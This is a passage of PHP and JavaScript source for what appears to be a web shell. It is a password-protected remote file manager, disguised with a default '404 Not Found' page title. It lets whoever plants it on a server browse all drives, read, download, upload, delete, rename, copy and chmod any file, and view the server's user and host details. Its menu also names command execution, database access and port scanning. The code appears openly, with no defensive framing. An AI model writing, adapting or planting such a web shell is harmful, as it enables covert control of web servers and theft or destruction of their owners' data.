// function sideOut(d, t) { window.setTimeout(display, t); function display() { $("load").style.display = "none" } } function ajax(arg, type) { if ($("load")) { $("load").style.display = "block"; $("load").innerHTML = "正在载入......" } if (type == 2 || arg == 2) { $("load").innerHTML = "功能陆续完善中......"; sideOut($("load"), 1500); return } if (type == 1) arg = 'action=show&dir=' + arg; if (type == 3) { if (confirm("确定删除当前文件么?")) arg = 'action=delete&file=' + arg; else { $("load").innerHTML = "操作已取消"; sideOut($("load"), 1500); return } } if (type == 4) { window.location.href = '?action=download&file=' + arg; sideOut($("load"), 500); return } if (type == 5) { var mk = prompt('请输入创建文件夹名称:', ''); if (!mk) { $("load").innerHTML = "操作已取消"; sideOut($("load"), 1500); return } arg = 'action=_mkdir&dir=' + mk } if (type == 6) { $("upload").style.display = 'block'; $("close_file").onclick = function() { $("upload").style.display = 'none'; $("load").innerHTML = "操作已取消"; sideOut($("load"), 1500); return } $("_file").onclick = function() { this.form.submit(); $("upload").style.display = 'none'; $("userfile").value = ''; return } return } action = arg ? arg: 'action=show'; var options = {}; options.url = '{self}'; options.listener = callback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send(action) } function view(arg) { action = 'action=view&file=' + arg; var options = {}; options.url = '{self}'; options.listener = viewcallback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send(action) } function edit() { $("load").style.display = "block"; $("load").innerHTML = "确保编码一致,不在提供编辑功能.可以使用上传功能覆盖当前编辑文件!"; sideOut($("load"), 4000); return } function fileperm(name, type) { var newperm; if (type == 3) newperm = prompt('需要输入完整路径(包含文件名):', ''); else newperm = prompt('请输入名称:', ''); if (!newperm) return; if (type == 1) chmod(name, newperm); if (type == 2) rename(name, newperm); if (type == 3) copy(name, newperm) } function chmod(name, perm) { action = 'action=chmod&file=' + name + '&perm=' + perm; var options = {}; options.url = '{self}'; options.listener = callback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send(action) } function rename(name, perm) { action = 'action=rename&file=' + name + '&newname=' + perm; var options = {}; options.url = '{self}'; options.listener = callback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send(action) } function copy(name, perm) { action = 'action=copyfile&file=' + name + '©file=' + perm; var options = {}; options.url = '{self}'; options.listener = callback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send(action) } function XmlRequest(options) { var req = false; if (window.XMLHttpRequest) { var req = new XMLHttpRequest() } else if (window.ActiveXObject) { var req = new window.ActiveXObject('Microsoft.XMLHTTP') } if (!req) return false; req.onreadystatechange = function() { if (req.readyState == 4 && req.status == 200) { options.listener.call(req) } }; req.open(options.method, options.url, true); return req } function viewcallback() { var data = this.responseText; if (data) { $("open").style.display = "block"; $("show_file").focus(); $("show_file").innerHTML = data; close(); $("show_file").onblur = function() { $("open").style.display = "none" } } else { $("load").style.display = "block"; $("load").innerHTML = "不支持预览此类型的文件,或者预览的文件大于1Mb!"; sideOut($("load"), 2000); return } } function callback() { var json = eval("(" + this.responseText + ")"); if (json.status == 'off') { document.onkeydown = function(e) { var theEvent = window.event || e; var code = theEvent.keyCode || theEvent.which; if (80 == code) { $("login").style.display = "block" } } } if (json.status == 'close') { document.body.innerHTML = json.data; $("login").style.display = "block"; login() } if (json.status=='on'){ window.location.reload(); return; } if (json.status == 'ok') { ajax(); document.body.innerHTML = json.data } if (json.pages == '') { $("pages").style.display = "none" } if (json.pages) { $("pages").style.display = "block"; $("pages").innerHTML = json.pages } if (json.node_data) $("show").innerHTML = json.node_data; if (json.time) $("runtime").innerHTML = json.time; if (json.listdir) $("listdir").innerHTML = json.listdir; if (json.memory) $("memory").innerHTML = json.memory; if (json.disktotal) $("disktotal").innerHTML = json.disktotal; if ($("load")) { $("load").style.display = "none" } if (json.error) { $("load").style.display = "block"; $("load").innerHTML = json.error; sideOut($("load"), 1500) } if (json.notice) { $("load").style.display = "block"; $("load").innerHTML = json.notice; sideOut($("load"), 1500); } } function reload() { var options = {}; options.url = '{self}'; options.listener = callback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('AJAX', 'true'); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.send('action=init') } function addEvent(obj, evt, fn) { if (obj.addEventListener) { obj.addEventListener(evt, fn, false) } else if (obj.attachEvent) { obj.attachEvent('on' + evt, fn) } } function init() { $(); login(); reload() } function close() { $("close").onclick = function() { $("open").style.display = "none" } } function login() { $("login_open").onclick = function() { var pwd = $("pwd").value; var options = {}; options.url = '{self}'; options.listener = callback; options.method = 'POST'; var request = XmlRequest(options); request.setRequestHeader('AJAX', 'true'); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); if (pwd) request.send('pwd=' + pwd) } } function $(d) { return document.getElementById(d) } addEvent(window, 'load', init); HTML; return str_replace('{self}',self,$js); } static protected function css(){ $css=<<$page_nums ? ceil($total_nums/$page_nums) : 1; if ($nums>1){ $page=intval($_POST['page']) ? intval($_POST['page']) : 1; if ($page>$nums || $page<1) $page=1; if($page==1){$for_start=0; $for_page=$page*$page_nums-1;} else {$for_page=$page*$page_nums-1 > $total_nums ? $total_nums : $page*$page_nums-1; $for_start=$page*$page_nums-1 > $total_nums ? ($page-1)*$page_nums-2 : $for_page-$page_nums-1 ; } } if($nums==1){ $for_start=0; $for_page=$total_nums; } for($i=$for_start;$i<$for_page;++$i){ if($array[$i]=='.'||$array[$i]=='..') continue; if (is_dir($file.$array[$i])) $dir[] = $array[$i]; elseif(is_file($file.$array[$i])) $files[] = $array[$i]; } $next = $page+1<=$nums ? $page+1 : $nums; $previous = $page-1>1 ? $page-1 : 1; if($nums>10){ if($page>5){ if($nums-$page>=5){ $ipage=$page-4; $_nums=$page+5; }else{ $ipage=$nums-9; $_nums=$nums; } }else{ $ipage=1;$_nums=10; } }else{ $ipage=1; $_nums=$nums; } for($i=$ipage;$i<=$_nums;++$i){ if($i==$page) $_page.=sprintf('%s ',urlencode(self::convert_to_utf8($file)),$i,$i); else $_page.=sprintf('%s ',urlencode(self::convert_to_utf8($file)),$i,$i); } /***************** 分页结束 ******************/ if (!isset($dir)) $dir = array(); if (!isset($files)) $files = array(); $_ipage_file=urlencode(rtrim(self::convert_to_utf8($file),'/')); //bug修复 $_pages=<<
  Index Previous {pages} Next End
HTML; $return=<<
  文件名 修改时间 文件大小 权限 操作
- 返回上一目录
{file}
HTML; $return_file=<<
{return_file} {return_time} {return_size} {return_chmod} / {return_perms} {is_folder}
HTML; $document=array_merge($dir,$files); foreach($document as $i=>$gbk){ $utf8=self::convert_to_utf8($gbk); $utf8_file=self::convert_to_utf8($file); $className= $i % 2 ? "dd" : "fff"; if(is_dir($file.$gbk)){ $return_onclick="ajax(this.name,1)"; $return_folder=sprintf(' 重命名', urlencode($utf8_file.$utf8)); } if(is_file($file.$gbk)){ $return_onclick="view(this.name)"; $return_folder=sprintf(' 下载 | 复制 | 编辑 | 重命名', urlencode($utf8_file.$utf8), urlencode($utf8_file.$utf8), urlencode($utf8_file.$utf8), urlencode($utf8_file.$utf8)); } $search=array('{className}', '{return_file}', '{return_time}', '{return_size}', '{return_chmod}', '{return_perms}', '{return_link}', '{return_onclick}', '{is_folder}', ); $replace=array($className, $utf8, self::perms($file.$gbk,3), self::perms($file.$gbk,4), self::perms($file.$gbk,1), self::perms($file.$gbk,2), urlencode($utf8_file.$utf8), $return_onclick, $return_folder, ); $directory['html'].=str_replace($search,$replace,$return_file); } $directory['node_data']=str_replace(array('{file}','{back}'), array($directory['html'], urlencode(str_replace('\\\\','/',dirname(self::convert_to_utf8($file)))) ), $return); $pages=str_replace('{pages}',$_page,$_pages); $directory['pages']=$nums>1 ? $pages : ''; unset($directory['html'],$_pages); $directory['folder']=count($dir); $directory['file']=count($files); $directory['time']=self::G('runtime','end'); $directory['listdir']=self::uppath($file); $directory['memory']=self::byte_format(memory_get_peak_usage()); $directory['disktotal']=self::byte_format(disk_total_space($file)); if(true==$msg) $directory['error']=$msg; unset($dir,$files); if(!ob_start("ob_gzhandler")) ob_start(); clearstatcache(); echo json_encode($directory); // print_r(array_unique($directory)); ob_end_flush(); unset($directory); exit; } function view(){ header ("Cache-Control: no-cache, must-revalidate"); header ("Pragma: no-cache"); header("Content-type:text/html;charset=UTF-8"); $file = urldecode(self::convert_to_utf8($_POST["file"],'utf8')); ob_start(); $path=pathinfo($file); //$path['extension'] = is_null($path['extension']) ? null :$path['extension']; if(filesize($file)>1024*1024) { exit; } if(in_array(strtolower($path['extension']),array('exe', 'dat', 'mp3', 'rmvb', 'jpg', 'png', 'gif', 'swf', 'gz', 'bz2', 'tar', 'sys', 'dll', 'so', 'bin', 'pdf', 'chm', 'doc', 'xls', 'wps', 'ogg', 'mp4', 'flv', 'ppt', 'zip', 'iso', 'msi' ))) exit; $c=self::convert_to_utf8(file_get_contents($file)); if(!ob_start("ob_gzhandler")) ob_start(); //highlight_string($c); clearstatcache(); $c=htmlspecialchars($c); echo "
$c
";
    ob_end_flush();
    exit;   
}
function _mkdir(){
    if($_POST['dir']){
       $mkdir=$_COOKIE['PATH'].self::convert_to_utf8($_POST['dir'],'utf8');
       if(true==@mkdir($mkdir,0777)){
        $_POST['dir']=$_COOKIE['PATH'];
        self::show('文件夹创建成功');
       }
       else die('{"error":"文件夹创建失败"}');
    }
}
function chmod(){
    if($_POST['file']&&$_POST['perm']){
    $file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
    $perm=base_convert($_POST['perm'], 8, 10);
    if(true==@chmod($file,$perm)){
        $_POST['dir']=$_COOKIE['PATH'];
        self::show('权限修改成功');
    }
    else die('{"error":"文件修改失败"}');
    }
}
function rename(){
    if($_POST['file']&&$_POST['newname']){
    $file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
    $newname=$_COOKIE['PATH'].self::convert_to_utf8($_POST['newname'],'utf8');
    if(true==@rename($file,$newname)){
        $_POST['dir']=$_COOKIE['PATH'];
        self::show('文件重命名成功');
    }
    else die('{"error":"文件修改失败"}');
    }
}
function upload(){
    $file=$_COOKIE['PATH'].basename($_FILES['userfile']['name']);
    if (true==@move_uploaded_file($_FILES['userfile']['tmp_name'],self::convert_to_utf8($file,'utf8'))){
        exit('');
    }
     else{
        exit('');
     }
     
}
function copyfile(){
    if($_POST['file']&&$_POST['copyfile']){
    $file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
    $newname=self::convert_to_utf8($_POST['copyfile'],'utf8');
    if(true==@copy($file,$newname)){
        die('{"error":"文件拷贝成功"}');
    }
    else die('{"error":"文件拷贝失败"}');
    }
}
function delete(){
     $file = urldecode(self::convert_to_utf8($_POST["file"],'utf8'));
     if(is_file($file)){
     if(true==@unlink($file)) {
        $_POST['dir']=$_COOKIE['PATH'];
        self::show('文件删除成功');
     }
     else die('{"error":"文件删除失败"}');
     }
     if(is_dir($file)){
        if(true==@rmdir($file)) {
        $_POST['dir']=$_COOKIE['PATH'];
        self::show('文件夹删除成功');
     }
     else die('{"error":"文件夹删除失败"}');
     }         
}
function download(){
     $filename = urldecode(self::convert_to_utf8($_GET["file"],'utf8'));
     if (file_exists($filename)) {
        header ("Cache-Control: no-cache, must-revalidate");  
        header ("Pragma: no-cache");  
        header("Content-Disposition: attachment; filename=".basename($filename));
        header("Content-Length: ".filesize($filename));
        header("Content-Type: application/force-download"); 
        header('Content-Description: File Transfer'); 
        header('Content-Encoding: none');
        header("Content-Transfer-Encoding: binary" );
            @readfile($filename);
        exit();
}
}
static protected function uppath($path){
    $return='';
    $path=self::convert_to_utf8(rtrim($path,'/'));
    if(strpos($path,"/")==0) return sprintf('%s',$path,ucfirst($path));
    else {
        $array=explode("/",$path);
        foreach($array as $i => $value){
            if($i==0) $path=$value;
            if($i>0) $path.=sprintf('/%s',$array[$i]);
            $return.= sprintf('%s ',$path,ucfirst($value));
        }
        return $return;
    }
    
}
static protected function perms($file, $type = '1') {
    if ($type == 1) {
      return substr(sprintf('%o', fileperms($file)), -4);
    }
    if ($type == 2) {
      return self::getperms($file);
    }
    if ($type == 3) {
      return date('Y-m-d h:i:s', filemtime($file));
    }
    if ($type == 4) {
      return is_dir($file) ? 'directory' : self::byte_format(sprintf("%u",
        filesize($file)));
    }
  }
  static protected function headers() {
    header ("Cache-Control: no-cache, must-revalidate");  
    header ("Pragma: no-cache");  
    $eof = <<< HTML
关闭

文件管理 - 当前磁盘空间 运行用户:{whoami}

{cdrom}
{action}
查找文件(当前路径):
HTML; $actions[]=array('name'=>'网站目录', 'url'=>urlencode($_SERVER['DOCUMENT_ROOT']), 'type'=>1 ); $actions[]=array('name'=>'文件目录', 'url'=>urlencode(str_replace(array('\\\\'),array('/'),dirname(__FILE__))), 'type'=>1 ); $actions[]=array('name'=>'创建文件夹', 'url'=>'null', 'type'=>'5' ); $actions[]=array('name'=>'创建文件', 'url'=>'2', 'type'=>'2' ); $actions[]=array('name'=>'上传文件', 'url'=>'null', 'type'=>'6' ); $menus[]=array('name'=>'退出', 'url'=>'action=logout', 'type'=>'null' ); $menus[]=array('name'=>'文件管理', 'url'=>urlencode(str_replace(array('\\\\'),array('/'),dirname(__FILE__))), 'type'=>1 ); $menus[]=array('name'=>'数据库操作', 'url'=>'2', 'type'=>'2' ); $menus[]=array('name'=>'运行命令', 'url'=>'2', 'type'=>'2' ); $menus[]=array('name'=>'PHP相关', 'url'=>'2', 'type'=>'2' ); $menus[]=array('name'=>'端口扫描', 'url'=>'2', 'type'=>'2' ); $menus[]=array('name'=>'PHP命令', 'url'=>'2', 'type'=>'2' ); foreach ($menus as $key => $value) { $menu .= sprintf('%s | ', $value['url'],$value['type'],$value['name']); } foreach ($actions as $key => $value) { $action .= sprintf('%s | ', $value['url'],$value['type'],$value['name']); } $serach = array( '{title}', '{host}', '{ip}', '{uname}', '{software}', '{php_version}', '{menu}', '{copyright}', '{cdrom}', '{action}', '{gzip}', '{memory}', '{js}', '{css}', '{whoami}'); if (!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $replace = array( title, $_SERVER['HTTP_HOST'], $_SERVER['SERVER_ADDR'], php_uname('s'), $_SERVER["SERVER_SOFTWARE"], PHP_VERSION, trim($menu, '| '), copyright, self::disk(), trim($action, '| '), gzip, self::byte_format(memory_get_peak_usage()), self::js(), self::css(), $uid . ' ( ' . $user . ' ) / Group: ' . $gid . ' ( ' . $group . ' )'); $eof = str_replace($serach, $replace, $eof); $json['status']='ok'; $json['data']=$eof; if(!ob_start("ob_gzhandler")) ob_start(); echo json_encode($json); ob_end_flush(); exit; } static protected function disk() { if (is_win) { $cdrom = range('A', 'Z'); foreach ($cdrom as $disk) { $disk = sprintf("%s%s", $disk, ':'); if (is_readable($disk)) { $return .= sprintf('DISK %s | ', $disk, $disk); } } return trim($return, "| "); } else { if(function_exists("scandir")){ $cdrom = scandir('/'); }elseif(function_exists("glob")){ foreach(glob('/*') as $ff){ $cdrom[]=basename($ff); } } foreach ($cdrom as $disk) { if ($disk == '.' || $disk == '..') continue; $disk = sprintf("%s%s", '/', $disk); if (is_readable($disk)) { if (is_dir($disk)) $return .= sprintf('%s | ', urlencode($disk), str_replace('/', '', $disk)); } } return trim($return, "| "); } } static protected function G($start, $end = '', $dec = 6) { static $_info = array(); if (is_float($end)) { // 记录时间 $_info[$start] = $end; } elseif (!empty($end)) { // 统计时间 if (!isset($_info[$end])) $_info[$end] = microtime(true); return number_format(($_info[$end] - $_info[$start]), $dec); } else { // 记录时间 $_info[$start] = microtime(true); } } static protected function authentication() { if (true == password) { //if(!empty($_POST['pwd']) && !preg_match('/^[a-z0-9]+$/',$_POST['pwd'])) exit; if(!empty($_POST['pwd']) && strlen(password) == 32) $password = hash(crypt, $_POST['pwd']); else $password = $_POST['pwd']; if((true == $password) && $password !==password) die('{"error":"密码错误!"}'); if((true == $password) && $password == password) { setcookie('verify', $password, time() + 3600*24*30); self::headers(); exit; } if (!isset($_COOKIE['verify']) || empty($_COOKIE['verify']) || (string )$_COOKIE['verify'] !== password) { if($_SERVER['HTTP_AJAX']=='true') die('{"status":"off"}'); self::login(); exit; } } if($_SERVER['HTTP_AJAX']=='true') self::headers(); } public function logout() { setcookie('key', '', time() - 3600*24*30); unset($_COOKIE['key']); session_start(); session_destroy(); $login=<<
Password:
LOGIN; $json['status']='close'; $json['data']=$login; die(json_encode($json)); } static function login() { $login=<< {title} {css} {js}
Password:
LOGIN; $search=array('{css}', '{title}', '{js}'); $replace=array(self::css(), title, self::js()); echo str_replace($search,$replace,$login); } static protected function getperms($path) { $perms = fileperms($path); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = '?????????'; return $info; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } static protected function byte_format($size, $dec = 2) { $a = array( "B", "KB", "MB", "GB", "TB", "PB"); $pos = 0; while ($size >= 1024) { $size /= 1024; $pos++; } return round($size, $dec) . "" . $a[$pos]; } static protected function convert_to_utf8($str,$type='gbk'){ if(function_exists('iconv')){ if($type=='gbk'){ if(false==@iconv("GBK","UTF-8",$str)){ return $str; }else{ return @iconv("GBK","UTF-8",$str); } } if($type=='utf8'){ if(false==@iconv("UTF-8","GBK",$str)){ return $str; }else{ return @iconv("UTF-8","GBK",$str); } } }else{ return $str; } } } function run(){ set_time_limit(0); ini_set('memory_limit',-1); if(!defined('password')) define('password',''); if(!defined('title')) define('title','404 Not Found'); if(!defined('copyright')) define('copyright', 'E'); define('self',$_SERVER["SCRIPT_NAME"]); define('crypt', 'ripemd128'); define('__ROOT__', $_SERVER["DOCUMENT_ROOT"]); define('is_win','win' == substr(strtolower(PHP_OS),0,3)); date_default_timezone_set('asia/shanghai'); define('gzip',function_exists("ob_gzhandler") ? 'gzip on' : 'gzip off'); extract($_POST); extract($_GET); header ("Cache-Control: no-cache, must-revalidate"); header ("Pragma: no-cache"); project::init(); $action=!empty($action) ? strtolower(rtrim($action,'/')) : 'login'; if (!is_callable(array('project', $action))) return false; if (!method_exists('project', $action)) return false; call_user_func(array('project', $action)); } //?>